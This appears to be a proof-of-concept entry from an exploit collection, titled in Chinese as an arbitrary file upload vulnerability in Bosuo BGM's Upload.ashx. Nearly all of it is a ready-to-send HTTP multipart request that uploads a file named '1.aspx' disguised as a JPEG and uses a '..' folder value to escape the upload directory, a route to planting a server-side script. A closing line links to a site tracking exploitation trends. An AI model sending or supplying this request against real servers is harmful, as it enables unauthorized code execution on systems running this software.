博硕BGM Upload.ashx 任意文件上传漏洞

POST /WebUpload/server/Upload.ashx HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1zY65etyNeQDfy1X

------WebKitFormBoundary1zY65etyNeQDfy1X
Content-Disposition: form-data; name="id"

WU_FILE_0
------WebKitFormBoundary1zY65etyNeQDfy1X
Content-Disposition: form-data; name="name"

1.aspx
------WebKitFormBoundary1zY65etyNeQDfy1X
Content-Disposition: form-data; name="size"

10000
------WebKitFormBoundary1zY65etyNeQDfy1X
Content-Disposition: form-data; name="type"

image/jpeg
------WebKitFormBoundary1zY65etyNeQDfy1X
Content-Disposition: form-data; name="OwnBaseFolder"

..
------WebKitFormBoundary1zY65etyNeQDfy1X
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg

------WebKitFormBoundary1zY65etyNeQDfy1X--

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.